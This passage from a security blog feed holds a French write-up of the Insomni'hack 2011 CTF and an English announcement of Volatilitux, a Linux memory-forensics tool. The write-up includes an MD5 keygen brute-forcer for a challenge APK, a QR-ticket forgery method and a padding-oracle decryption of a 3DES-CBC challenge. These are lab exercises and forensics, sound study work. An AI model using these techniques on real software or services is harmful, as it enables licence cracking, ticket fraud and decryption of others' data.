<p>Cette année, 200 participants sont au rendez-vous pour le challenge ! Et cette fois, les équipes étaient autorisées ; c&rsquo;est donc au sein de <a href="http://www.hackerzvoice.net/" target="_blank">HZV</a> que j&rsquo;ai concouru. Cette année, SCRT a amélioré l&rsquo;organisation en distribuant des badges RFID aux équipes afin d&rsquo;accélérer la validation des points. Non, le pétage de ces badges ne faisait pas partie du challenge (et il n&rsquo;aurait de toutes façon rien apporté <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Par contre, gros point noir : comme l&rsquo;année dernière, il n&rsquo;y avait pas d&rsquo;accès Internet. Seules les équipes prévoyantes (et disposant d&rsquo;un forfait suisse) avaient prévues une connexion 3G&#8230;</p>
<p>Peu de temps après l&rsquo;installation, l&rsquo;interface contenant la liste des épreuves est disponible. Au programme : crypto, prog, réseau, reversing, stéganographie, et web. Voici un résumé de ce que j&rsquo;ai pu faire.</p>
<h4>Crypto 1</h4>
<p>Ayant laissé le Web aux autres, je me suis personnellement acharné dans un premier temps sur les épreuves de crypto (personne ne voulait les faire&#8230;), à commencer par la première. Il s&rsquo;agissait d&rsquo;un texte <a href="http://crypto.junod.info/wp-content/uploads/2011/03/secret.txt" target="_blank">chiffré</a>, le but étant de le déchiffrer. Un indice : une table de fréquences de texte anglais traînait à côté du fichier, indiquant que certaines lettres était bien plus fréquentes que d&rsquo;autres&#8230; La substitution mono-alphabétique était dont tout indiquée. Cependant, n&rsquo;ayant pas retrouvé <a href="http://www.cryptool.org/" target="_blank">Cryptool</a> tout de suite, je me suis galéré à calculer les fréquences du texte dans un premier temps en Python, et à commencer la substitution à la main, puis avec l&rsquo;outil une fois retrouvé (ou comment perdre du temps lorsqu&rsquo;on est pas réveillé). Finalement, le texte déchiffré n&rsquo;était autre que le Hacker&rsquo;s Manifesto, de The Mentor&#8230; Souvenir souvenir <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h4>Reverse 4</h4>
<p>Il s&rsquo;agissait d&rsquo;une application Android à keygenner : <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/validate.apk_.zip">validate.apk</a>. On sort le SDK ainsi que dex2jar et jd-gui, et zou !</p>
<pre>public void performCheck()
{
 if (this.mEditText_number != null);
 int k;
 try
 {
 String str1 = this.mEditText_number.getText().toString();
 Integer localInteger1 = Integer.valueOf(
    Integer.parseInt(str1.substring(0, 4)));
 Integer localInteger2 = Integer.valueOf(
    Integer.parseInt(str1.substring(4, 8)));
 byte[] arrayOfByte1 = { 76, 76, 147, 123, 103, 204, 141,
    120, 92, 234, 30, 66, 204, 234, 24, 92 };
 int i = localInteger1.intValue();
 int j = localInteger2.intValue();
 String str2 = Integer.valueOf(i + j).toString();
 byte[] arrayOfByte2 = getMD5(str2);
 k = 0;
 if (k &gt;= 16)
 {
 label185: this.mEditText_number.setText("validated!");
 label201: return;
 }
 int l = arrayOfByte2[k];
 int i1 = arrayOfByte1[k];
 if (l == i1)
 break label241;
 label241: this.mEditText_number.setText("fail!");
 }
 catch (Exception localException)
 {
 localException.printStackTrace();
 break label201:
 k += 1;
 break label185:
 }
 }
}</pre>
<p>Le code généré est un peu crado, mais on comprend très vite le traitement effectué. Le serial rentré doit être composé de chiffres, ceux-ci sont découpés en 2 groupes de 4 pour former 2 entiers, et le md5 de leur somme est ensuite comparé à une valeur constante. Autrement dit, il suffit de bruteforcer de la sorte en Python :</p>
<pre>import md5
MAGIC = "4c4c937b67cc8d785cea1e42ccea185c"

for i in range(10000):
  for j in range(10000):
    if(md5.new(str(i+j)).hexdigest() == MAGIC):
      print i, j</pre>
<p>Le résultat tombe au bout d&rsquo;un dixième de seconde : MAGIC == MD5(&laquo;&nbsp;6012&Prime;). Toute combinaison dont la somme fait 6012 est valide ; on choisit donc &laquo;&nbsp;60120000&Prime; qui fonctionne à merveille.</p>
<h4>Programmation 4</h4>
<p>Les épreuves les moins validées rapportant plus de points, je me suis lancé dans celle-ci. Il s&rsquo;agissait de se connecter sur un port, et de résoudre un challenge 100 fois de suite. Celui-ci était simple : 4 séries de lettres A, B, C et D étaient affichées sous la forme d&rsquo;un carré, avec une lettre par ligne remplacée par un X. Le but : répondre au serveur la liste des 4 lettres manquantes. Rien à voir avec le hack, mais fun quand même <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Voici le code du client qui résout l&rsquo;épreuve (désolé, je n&rsquo;ai pas celui du serveur) :</p>
<pre>import socket

s = socket.socket()
s.connect(("epreuves2.insomni.hack", 4567))

def get_challenge():
  r = s.recv(4096).split("\n")[:-1]
  print r
  return [i.split() for i in r]

def solve_line(line):
  for i in range(4):
    l = chr(ord('A')+i)
    if(l not in line):
      return l

def solve_one_challenge():
  c = get_challenge()
  res =  "".join([' '.join(solve_line(c[i])) for i in range(4)])
  print res
  s.send(res+"\n")

for i in range(110):
  solve_one_challenge()</pre>
<p>Oui, le programme crashe lamentablement une fois les 100 challenges résolus, et alors ? Le flag est bien retourné par le serveur et apparaît de façon bien visible (désolé, je n&rsquo;ai pas de screenshot).</p>
<h4>Crypto 2</h4>
<p>A priori, on s&rsquo;attend à un niveau légèrement plus élevé que la crypto 1. Que nenni, il s&rsquo;agit en réalité d&rsquo;une exploitation de Padding Oracle&#8230; En gros, elle consistait à déchiffrer un texte chiffré en 3DES utilisé en mode CBC avec un padding <a href="http://fr.wikipedia.org/wiki/Public_Key_Cryptographic_Standards" target="_blank">PKCS #5</a>. Bien entendu, sans connaître la clé. Seules information disponible : on disposait d&rsquo;une URL permettant de chiffrer un texte choisi, et une 2ème permettant de vérifier si le chiffrement était valide (comprendre <em>padding</em>) ou non. En d&rsquo;autres termes, ce que l&rsquo;on appelle un oracle de padding.</p>
<p>Je m&rsquo;y étais intéressé vaguement il y a quelques mois, mais je n&rsquo;avais à présent jamais réalisée en pratique. Faisable, me direz-vous&#8230; sauf que sans accès à Internet, cela l&rsquo;est nettement moins. Je me suis donc acharné sur cette épreuve, en essayant de me souvenir des détails de l&rsquo;algorithme de bruteforce intelligent. Au bout de plus de 2 heures, j&rsquo;ai finalement abandonné. La suite plus bas dans cet article&#8230;</p>
<h4>Web 1</h4>
<p>Ne voulant pas rester sur un échec, je décide alors de donner un coup de main à mes collègues sur l&rsquo;épreuve Web 1. Il s&rsquo;agissait de générer le <a href="http://fr.wikipedia.org/wiki/Code_QR" target="_blank">QR-code</a> d&rsquo;un billet pour une place dans un match qui se trouvait à un emplacement précis, un billet existant étant fourni. Armé de mon Android, le décodage du QR-code n&rsquo;a pas pris longtemps,celui-ci contenait le numéro de place en clair, ainsi qu&rsquo;un md5 calculé à partir de ce dernier. Le modifier semblait donc trivial. Le problème a commencé à se poser en ce qui concerne la génération du nouveau QR-code. De multiples bibliothèques existent, mais encore une fois, le problème de l&rsquo;absence d&rsquo;accès à Internet se faisait cruellement sentir&#8230; Jusqu&rsquo;au moment ou un organisateur nous fasse remarquer qu&rsquo;un outil (zxing) est visiblement disponible sur le repository dédié aux outils. Après avoir mis un bon quart d&rsquo;heure à comprendre comment lancer l&rsquo;interface flash de l&rsquo;outil (aucun jar n&rsquo;était fournit et nous ne disposions pas d&rsquo;ant pour compiler les sources&#8230;) nous avons finalement réussi à générer une place valide.</p>
<h4>Résultats du challenge</h4>
<p>A 1h du matin, les scores sont freezés : l&rsquo;équipe <strong>bles</strong> (l&rsquo;équipe Nibbles était fragmenté en 2 teams Ni et bles&#8230;) arrive en tête, et HZv en 2ème. Nous restons toutefois très satisfaits de notre performance, vu que nous n&rsquo;étions que 5, et relativement peu entraînés (première participation à un CTF pour 4 des participants), et sans accès Internet. Dans la table des scores qui suit, les <em>breakthroughs </em>correspondant aux épreuves qui ont été validées en 1er par la team en question.</p>
<div id="attachment_878" class="wp-caption aligncenter" style="width: 527px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/scoreboard-2K11-2.jpg"><img class="size-full wp-image-878  " title="scoreboard-2K11-2" src="http://www.segmentationfault.fr/wp-content/uploads/2011/03/scoreboard-2K11-2.jpg" alt="Scores finaux" width="517" height="276" /></a><p class="wp-caption-text">Scores finaux (merci Shell-Storm !)</p></div>
<h4>Padding Oracle, motherfucker, can you sploit it??</h4>
<p>Ce n&rsquo;est que le surlendemain, après avoir été hanté par l&rsquo;épreuve crypto 2 (comme le lapin blanc de <a href="http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/" target="_blank">l&rsquo;année dernière</a>), que je m&rsquo;y suis repenché sérieusement, lors de mon retour en France. Suite à une discussion avec le concepteur de l&rsquo;épreuve, celui-ci a accepté de me fournir les <a href="../wp-content/uploads/2011/03/crypto2_source.zip">sources</a> et a accepté de les rendre publiques, ce qui était très sympathique de sa part. Ayant profité du week-end pour récupérer le <a href="http://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf" target="_blank">papier</a> exposant l&rsquo;algorithme d&rsquo;attaque (également repris <a href="http://www.limited-entropy.com/padding-oracle-attacks" target="_blank">ici</a>), mon défi est alors de résoudre l&rsquo;épreuve avant d&rsquo;arriver Gare de Lyon (et que la batterie de mon laptop soit accessoirement épuisée).</p>
<p>Et finalement, j&rsquo;y suis parvenu ! Le script <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/decrypt.py_.txt">decrypt.py</a> brute-force l&rsquo;oracle jusqu&rsquo;à ce que le texte soit totalement déchiffré.</p>
<pre>$ decrypt.py
107 100 14 189 34 129 105 16
45 183 29 222 187 198 199 73
186 149 253 197 187 249 250 132
122 234 55 178 99 117 171 142
C'est_bon_Peggy_je_gere!</pre>
<p>Dans la foulée, j&rsquo;ai réalisé une petite présentation que j&rsquo;ai donnée au <a href="http://www.hackerzvoice.net/meetings">meeting HZV</a> du samedi 2 avril. Les slides sont en ligne <a href="../wp-content/uploads/2011/03/PaddingOracle.pdf">ici</a>. Concernant le script, j&rsquo;ai essayé de commenter suffisamment le script pour qu&rsquo;il soit compréhensible. Et de toutes façon, je n&rsquo;ai rien inventé puisque je me suis intégralement basé sur le papier cité ci-dessus.</p>
<p>En tout cas, on peut dire que ce challenge aura été riche en apprentissage. Je regrette juste que l&rsquo;accès à Internet n&rsquo;ait pas pu être donné, ou à défaut, un repository un peu plus fourni d&rsquo;outils et de documentation&#8230; En tout cas bravo à l&rsquo;équipe d&rsquo;organisation, et à l&rsquo;année prochaine !</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Volatilitux : Physical memory analysis of Linux systems</title>
		<link>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/</link>
		<comments>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/#comments</comments>
		<pubDate>Wed, 08 Dec 2010 00:09:36 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Projets]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=858</guid>
		<description><![CDATA[As some of my followers may have seen, I have recently been working on a forensic tool called Volatilitux. It is pretty much the equivalent of the Volatility framework for Linux systems. I presented a pre-release version of this tool at last Hackerzvoice meeting; here are the slides (in French). Today, I am glad to [...]]]></description>
			<content:encoded><![CDATA[<p>As some of my followers may have seen, I have recently been working on a forensic tool called <strong>Volatilitux</strong>. It is pretty much the equivalent of the <a href="https://www.volatilesystems.com/default/volatility">Volatility</a> framework for Linux systems. I presented a pre-release version of this tool at last <a href="http://www.hackerzvoice.net/">Hackerzvoice</a> meeting; here are the <a href="http://www.segmentationfault.fr/hzv/eg-20101204-Volatilitux.pdf">slides</a> (in French). Today, I am glad to announce the first <a href="http://code.google.com/p/volatilitux/">release</a> of this framework. And to celebrate, here is my first blog post attempt in English <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p><span id="more-858"></span></p>
<h3>Background</h3>
<p>Volatilitux is a Python framework that helps extracting digital artifacts from raw physical memory (RAM) dumps of Linux systems. The goal of this tool is to offer a tool in a field that cruelly lacks of tools. It is mainly inspired by the <a href="http://communaute.sstic.org/ChallengeSSTIC2010">SSTIC 2010 challenge</a> whose purpose was to analyze the physical memory of an Android phone. When the challenge got released, the only suitable tool that existed was <a href="http://code.google.com/p/draugr/">draugr</a>; however it required two lines to be patched in order to be able to analyze the file.</p>
<p>I tried to solve this challenge but I quickly got stuck at the first step : listing all running processes and extracting the virtual memory map of each one. I learned a lot reading the kernel <a href="http://lxr.linux.no/#linux+v2.6.36/include/linux/sched.h#L1163">source code</a>, some <a href="http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory">blog posts</a>, and finally the <a href="http://communaute.sstic.org/ChallengeSSTIC2010">challenge</a> <a href="http://pentester.fr/blog/index.php?post/2010/06/03/Challenge-SSTIC-2010-in-a-nutshell">solutions</a> when they got released. And I understood the biggest problem of physical memory analysis in Linux: most of kernel structure offsets change depending on the kernel version, configuration and patches. Thus, the first step was to detect all of those offsets. And then, use them to extract and browse all kernel objects.</p>
<p>I first detected those offsets manually by <a href="http://stackoverflow.com/questions/1809774/android-kernel-compile-and-test-with-android-emulator">recompiling</a> Android 2.1 <a href="http://android.git.kernel.org/">kernel</a> (using the <a href="http://developer.android.com/sdk/ndk/index.html">NDK</a>), running it into Google&rsquo;s emulator (provided in the <a href="http://developer.android.com/sdk/index.html">SDK</a>), and then load a LKM in order to display all those offsets. It worked.</p>
<p>Then, I thought: «Since Volatility is a great tool but only supports Windows, why not develop a similar framework that works for Linux RAM dumps?»</p>
<p>I first came up with a version of the tool that required a configuration file containing all the offsets, as well as init_task symbol address and the architecture of the dump. Then, I chose to raise the bar a little higher, and automatically detects those offsets. And here we are&#8230;</p>
<h3>Features</h3>
<p>Here are the main features of the tool:</p>
<ul>
<li> Automatic detection of kernel structure offsets</li>
<li>Manual detection of those offsets using a Loadable Kernel Module</li>
<li>Supports multiple architectures: ARM, x86, x86 with PAE enabled</li>
<li>Can be used as a Python module in order to automate tasks and be embedded with other projects</li>
</ul>
<p>Unlike Volatility, it now only supports a restricted set of commands:</p>
<ul>
<li><code>pslist</code>: print the list of all process</li>
<li><code>memmap</code>: print the memory map of a process</li>
<li><code>memdmp</code>: dump the addressable memory of a process</li>
<li><code>filedmp</code>: dump an open file</li>
<li><code>filelist</code>: print the list of all open files for a given process</li>
</ul>
<p>Of course, since it is a framework, one can extends those features and easily add new architectures, commands, and kernel structures.</p>
<p>It has been tested on physical memory dumps of the folowing Linux distributions:</p>
<ul>
<li>Android 2.1</li>
<li>Fedora 5 and 8</li>
<li>Debian 5</li>
<li>CentOS 5</li>
<li>Ubuntu with and without PAE</li>
</ul>
<h3>Requirements</h3>
<p>Volatilitux requires Python 2.6. It only uses Python builtin modules, and does not rely on any external library.</p>
<p>It has mainly been tested on Windows XP, but it should run on any other platform.</p>
<h3>Get the source</h3>
<p>You can download and browse the source code of this tool on the <a href="http://code.google.com/p/volatilitux/">Volatilitux</a> Google Code project.</p>
<p>To download it directly:</p>
<ul>
<li><a href="http://volatilitux.googlecode.com/files/volatilitux-1.0.zip">volatilitux-1.0.zip</a></li>
</ul>
<p>Please read the README.txt file, as it contains information on how to use the tool.</p>
<h3>Known bug</h3>
<p>Yes, Volatilitux already has a bug <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . One of the kernel offset is not yet properly detected (actually, it is hardcoded due to lack of time!) for Ubuntu distributions. This will make the memmap command display incorrect information in the &laquo;&nbsp;Flag&nbsp;&raquo; column. However it should not prevent the other commands to run.</p>
<h3>Quick Example</h3>
<p>Here is how to use Volatilitux to extract the TextViewer Android application in the SSTIC 2010 challenge. Be sure to <a href="http://www.sstic.org/media/SSTIC2010/concours_sstic_2010">download</a> the dump and extract &laquo;&nbsp;challv2&Prime; to try it <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<pre>$ volatilitux.py -f challv2 pslist
Name                PID       PPID
swapper             0         0
init                1         0
kthreadd            2         0
ksoftirqd/0         3         2
events/0            4         2
khelper             5         2
suspend             6         2
kblockd/0           7         2
cqueue              8         2
kseriod             9         2
kmmcd               10        2
pdflush             11        2
pdflush             12        2
kswapd0             13        2
aio/0               14        2
mtdblockd           21        2
hid_compat          22        2
rpciod/0            23        2
mmcqd               24        2
sh                  25        1
servicemanager      26        1
vold                27        1
debuggerd           28        1
rild                29        1
zygote              30        1
mediaserver         31        1
installd            32        1
keystore            33        1
init.goldfish.s     34        1
qemud               35        1
adbd                37        1
qemu-props          44        34
system_server       52        30
putmethod.latin     96        30
m.android.phone     98        30
d.process.acore     101       30
ndroid.settings     116       30
roid.alarmclock     136       30
d.process.media     147       30
com.android.mms     170       30
m.android.email     183       30
com.svox.pico       207       30
nssi.textviewer     227       30
om.anssi.secret     233       30

$ volatilitux.py -f challv2 memmap -p 227
Begin    End       Flags File
00008000-00009000  r-xp  app_process
00009000-0000a000  rwxp  app_process
0000a000-002dc000  rwxp
10000000-10001000  ---p
10001000-10100000  rwxp
40000000-40008000  r-xs  dev/ashmem/system_properties
40008000-40009000  r-xp
40009000-402aa000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/0
402aa000-41009000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/0
41009000-41038000  r-xs  DroidSans.ttf
41038000-4104c000  rwxp
4104c000-4104d000  ---p  dev/ashmem/dalvik-LinearAlloc
4104d000-412c2000  rwxp  dev/ashmem/dalvik-LinearAlloc
412c2000-4154c000  ---p  dev/ashmem/dalvik-LinearAlloc
4154c000-416d0000  r-xs  core.jar
416d0000-41a5d000  r-xs  system@framework@core.jar@classes.dex
41a5d000-41a91000  rwxp
41a91000-41af6000  r-xs  ext.jar
41af6000-41bee000  r-xs  system@framework@ext.jar@classes.dex
41bee000-41e69000  r-xs  framework.jar
41e69000-4244d000  r-xs  system@framework@framework.jar@classes.dex
4244d000-424cb000  rwxp
424cb000-424de000  r-xs  android.policy.jar
424de000-42507000  r-xs  system@framework@android.policy.jar@classes.dex
42507000-42582000  r-xs  services.jar
42582000-4268d000  r-xs  system@framework@services.jar@classes.dex
4268d000-426b1000  rwxp
426b1000-426e6000  rwxp  dev/ashmem/dalvik-heap-bitmap/objects
426e6000-426f2000  rwxp
426f2000-426f3000  r-xs  dev/ashmem/SurfaceFlinger read-only heap
426f3000-426f8000  r-xs  com.anssi.textviewer.apk
426f8000-426fa000  r-xs  com.anssi.textviewer.apk
426fa000-426ff000  r-xs  com.anssi.textviewer.apk
426ff000-42700000  r-xs  data@app@com.anssi.textviewer.apk@classes.dex
42700000-42701000  rwxs  dev/ashmem/SurfaceFlinger Client control-block
42707000-42738000  rwxp
42738000-42767000  r-xs  DroidSans-Bold.ttf
42778000-427ae000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/0
427ba000-42c63000  r-xs  framework-res.apk
42c63000-42e14000  r-xs  framework-res.apk
42e14000-42e55000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/1
42e55000-43b74000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/1
43b74000-43b75000  ---p
43b75000-43c74000  rwxp
43c74000-43c91000  rwxp
43cb9000-43cf9000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/1
43cf9000-43d3a000  rwxp  dev/ashmem/mspace/dalvik-heap/2
43d3a000-44a19000  ---p  dev/ashmem/mspace/dalvik-heap/2
44a19000-44a1a000  ---p
44a1a000-44b19000  rwxp
44b19000-44c17000  r-xp  binder
44c17000-44c18000  ---p
44c18000-44d17000  rwxp
44d17000-44d18000  ---p
44d18000-44e17000  rwxp
44e17000-45108000  r-xs  DroidSansFallback.ttf
80000000-80433000  r-xp  libicudata.so
80433000-80434000  rwxp  libicudata.so
80800000-8080a000  r-xp  libskiagl.so
8080a000-8080b000  rwxp  libskiagl.so
80900000-80902000  r-xp  libemoji.so
80902000-80903000  rwxp  libemoji.so
80a00000-80a03000  r-xp  gralloc.default.so
80a03000-80a04000  rwxp  gralloc.default.so
9a200000-9a256000  r-xp  libsrec_jni.so
9a256000-9a257000  rwxp  libsrec_jni.so
9d800000-9d808000  r-xp  libdrm1.so
9d808000-9d809000  rwxp  libdrm1.so
a6000000-a60cb000  r-xp  libopencore_common.so
a60cb000-a60d1000  rwxp  libopencore_common.so
a7000000-a70bd000  r-xp  libopencore_player.so
a70bd000-a70c5000  rwxp  libopencore_player.so
a7680000-a7697000  r-xp  libomx_amrenc_sharedlibrary.so
a7697000-a7698000  rwxp  libomx_amrenc_sharedlibrary.so
a7a00000-a7a30000  r-xp  libopencore_net_support.so
a7a30000-a7a33000  rwxp  libopencore_net_support.so
a7ba0000-a7bb5000  r-xp  libomx_sharedlibrary.so
a7bb5000-a7bb6000  rwxp  libomx_sharedlibrary.so
a9c00000-a9c07000  r-xp  libhardware_legacy.so
a9c07000-a9c08000  rwxp  libhardware_legacy.so
a9c70000-a9c71000  r-xp  libhardware.so
a9c71000-a9c72000  rwxp  libhardware.so
a9d00000-a9d29000  r-xp  libutils.so
a9d29000-a9d2a000  rwxp  libutils.so
a9d80000-a9da2000  r-xp  libbinder.so
a9da2000-a9da9000  rwxp  libbinder.so
aa000000-aa3c1000  r-xp  libwebcore.so
aa3c1000-aa418000  rwxp  libwebcore.so
aa418000-aa41a000  rwxp
aab00000-aab14000  r-xp  libexpat.so
aab14000-aab16000  rwxp  libexpat.so
aac00000-aac45000  r-xp  libsqlite.so
aac45000-aac46000  rwxp  libsqlite.so
ab200000-ab24a000  r-xp  libmedia.so
ab24a000-ab256000  rwxp  libmedia.so
ab300000-ab309000  r-xp  libmedia_jni.so
ab309000-ab30a000  rwxp  libmedia_jni.so
ab400000-ab41c000  r-xp  libvorbisidec.so
ab41c000-ab41d000  rwxp  libvorbisidec.so
ab500000-ab552000  r-xp  libsonivox.so
ab552000-ab553000  rwxp  libsonivox.so
ab553000-ab554000  rwxp
ac000000-ac13f000  r-xp  libskia.so
ac13f000-ac143000  rwxp  libskia.so
ac143000-ac146000  rwxp
ac400000-ac430000  r-xp  libui.so
ac430000-ac437000  rwxp  libui.so
ac500000-ac509000  r-xp  libexif.so
ac509000-ac50a000  rwxp  libexif.so
ac50a000-ac50c000  rwxp
ac700000-ac708000  r-xp  libEGL.so
ac708000-ac709000  rwxp  libEGL.so
ac709000-ac70b000  rwxp
acb00000-acb05000  r-xp  libGLESv1_CM.so
acb05000-acb06000  rwxp  libGLESv1_CM.so
acf00000-acf19000  r-xp  libpixelflinger.so
acf19000-acf1b000  rwxp  libpixelflinger.so
ad000000-ad07e000  r-xp  libdvm.so
ad07e000-ad081000  rwxp  libdvm.so
ad081000-ad082000  rwxp
ad200000-ad233000  r-xp  libnativehelper.so
ad233000-ad236000  rwxp  libnativehelper.so
ad300000-ad360000  r-xp  libandroid_runtime.so
ad360000-ad367000  rwxp  libandroid_runtime.so
ad367000-ad370000  rwxp
ad400000-ad4af000  r-xp  libicui18n.so
ad4af000-ad4b3000  rwxp  libicui18n.so
ad500000-ad5c0000  r-xp  libicuuc.so
ad5c0000-ad5c7000  rwxp  libicuuc.so
ad5c7000-ad5c8000  rwxp
adb00000-adb04000  r-xp  libnetutils.so
adb04000-adb05000  rwxp  libnetutils.so
adc00000-adc02000  r-xp  libwpa_client.so
adc02000-adc03000  rwxp  libwpa_client.so
af500000-af5a4000  r-xp  libcrypto.so
af5a4000-af5b7000  rwxp  libcrypto.so
af5b7000-af5b9000  rwxp
af700000-af722000  r-xp  libssl.so
af722000-af725000  rwxp  libssl.so
af900000-af913000  r-xp  libz.so
af913000-af914000  rwxp  libz.so
afb00000-afb0d000  r-xp  libcutils.so
afb0d000-afb0e000  rwxp  libcutils.so
afb0e000-afb1d000  rwxp
afbc0000-afbc3000  r-xp  liblog.so
afbc3000-afbc4000  rwxp  liblog.so
afc00000-afc20000  r-xp  libm.so
afc20000-afc21000  rwxp  libm.so
afd00000-afd01000  r-xp  libstdc++.so
afd01000-afd02000  rwxp  libstdc++.so
afe00000-afe38000  r-xp  libc.so
afe38000-afe3b000  rwxp  libc.so
afe3b000-afe46000  rwxp
b0000000-b000f000  r-xp  linker
b000f000-b0010000  rwxp  linker
b0010000-b0019000  rwxp
beada000-beaef000  rwxp [stack]

$ volatilitux.py -f challv2 filelist -p 227 | grep apk
com.anssi.textviewer.apk
data@app@com.anssi.textviewer.apk@classes.dex
framework-res.apk

$ volatilitux.py -f challv2 filedmp -p 227 -t com.anssi.textviewer.apk -o output.apk
Dumping from 426f3000 to 426f8000...
20480 bytes dumped to output.apk

$ unzip -l output.apk
Archive:  output.apk
  Length     Date   Time    Name
 --------    ----   ----    ----
      784  09-04-10 16:00   res/layout/main.xml
     2678  09-04-10 16:00   res/raw/chiffre.txt
     1288  09-04-10 16:00   AndroidManifest.xml
     1660  09-04-10 15:58   resources.arsc
     3966  09-04-10 15:58   res/drawable-hdpi/icon.png
     1537  09-04-10 15:58   res/drawable-ldpi/icon.png
     2200  09-04-10 15:58   res/drawable-mdpi/icon.png
     3092  09-04-10 16:00   classes.dex
      636  09-04-10 16:00   META-INF/MANIFEST.MF
      689  09-04-10 16:00   META-INF/CERT.SF
      689  09-04-10 16:00   META-INF/CERT.RSA
 --------                   -------
    19219                   11 files

$ unzip output.apk res/raw/chiffre.txt
Archive:  output.apk
  inflating: res/raw/chiffre.txt

$ head res/raw/chiffre.txt
Daxn uuaaidbiwsn,

Yvus kxpwidces ex pw?®mxy, rfgwo yir huy ebazr ?®wpgntmevonz svbowsnb :
        - Hps?¿l eax ldtp txloniwz, rfgwae-pxbs daxv hy phlmbykwgn irfmhj
        - q'ukhnehgj?®j xn Uayhl u uuaa ppnk z'focyet vbazr
        - ul fs?¿kx zj Gjyvjg r axn w?®, zovl ew llxzsf mtxqy ?
        - ul nfs wa hy ppgbgmaxkdl cbibpfcwl nf ynp qck?®y?® qv'xg 1993

Qsy ovit tknnp?® ?á loarnx asxaviu, othnxn aa qhleycxu dbgl h'fjysidtmeth.
Ahjpnma jhbbiux ea ric ke qtloj, cu lsu vaekza?® ln HIZ.
</pre>
<p>The remaining of the challenge is left as an exercise for the reader <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p><span style="text-decoration: underline;">Note:</span> If some of the pages are partially missing in a file, Volatilitux will skip those page and only dump valid pages. See the <code>dumpFile()</code> method in the <code>UserSpace</code> class if you want to change that behavior.</p>
<p>You will find an example.py file in the root folder. You should read it it if you want to use the framework as a Python module.</p>
<h3>Volatilitux Internals</h3>
<p>Here are some implementation details.</p>
<h4>Automatic detection of kernel structure offsets</h4>
<p>The offset-detection algorithm used in Volatilitux is pretty simple; basically it is based on bruteforce and pruning heuristics. For each unknown offset or address, all potential values are tried, and an heuristic is used to decide whether the value is correct or not. Most of the time, the bruteforce occurs on two offsets at a time within two nested loops. The heuristic I use are sometimes pretty simple:</p>
<ul>
<li>if ptr is supposed to contain a kernel address, then its value must be &gt;= 0xC0000000</li>
<li>swapper.pid == 0 and init.pid == 1 (swapper and init are the first two process)</li>
<li>if s1 and s2 are the same type, and both contains 2 fields named f1 and f2, then (&amp;s1.f2 &#8211; &amp;s1.f1) == (&amp;s2.f2 &#8211; &amp;s2.f1), i.e. the delta between those offsets is constant for both structures</li>
</ul>
<p>These heuristics ensure that the loops stop as soon as possible on bad offsets. The whole algorithm is implemented in core/forensics.py, which is actually the biggest file of the project&#8230;</p>
<h4>Architecture</h4>
<p>Volatilitux is fully object-oriented and makes use of nice Python features in order to be as extensible as possible, such as:</p>
<ul>
<li><a href="http://docs.python.org/tutorial/classes.html">Simple and multiple inheritance</a></li>
<li><a href="http://www.artima.com/weblogs/viewpost.jsp?thread=240808">Decorators</a></li>
<li><a href="http://stackoverflow.com/questions/951124/dynamic-loading-of-python-modules">Dynamic loading of modules</a></li>
<li><a href="http://docs.python.org/reference/datamodel.html#special-method-names">Operator overloading</a></li>
<li>Nested classes</li>
</ul>
<p>Decorators are mainly used to simulate C++&rsquo;s templates, and help reduce the amount of code.</p>
<p>All handled Linux kernel structures are represented by Python classes using the same scheme. They all inherits from <code>KernelStruct</code>. Here is an example with <code>task_struct</code>:</p>
<pre>@unix_name("task_struct")
class Task(KernelStruct):

  @classmethod
  def initclass(cls):
    cls.fields_classes = {"pid": Field(int),
                          "comm": Field(str),
                          "parent": Pointer(Task),
                          "tasks": ListHead(Task),
                          "mm": Pointer(UserSpace),
                          }

  # More methods...
</pre>
<p>This syntax lets Volatilitux know that the structure has 5 fields:</p>
<ul>
<li><code>pid</code> is an integer</li>
<li><code>comm</code> is a string (<code>char *</code>)</li>
<li><code>parent</code> is a pointer to another <code>task_struct</code></li>
<li><code>tasks</code> is a double linked-list of <code>task_struct</code>s</li>
<li><code>mm</code> is a pointer to another structure (<code>mm_struct</code> which is represented by the <code>UserSpace</code> class)</li>
</ul>
<p>Since <code>KernelStruct</code> uses operator overloading, every field can easily be accessed using the dot operator, as a regular object property.</p>
<p>That&rsquo;s all for this quick post&#8230; I may publish more details in the following of the project. In the meanwhile, do not hesitate to browse the source code, leave a comment, or contact me directly if you have any questions <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
]]></content:encoded>
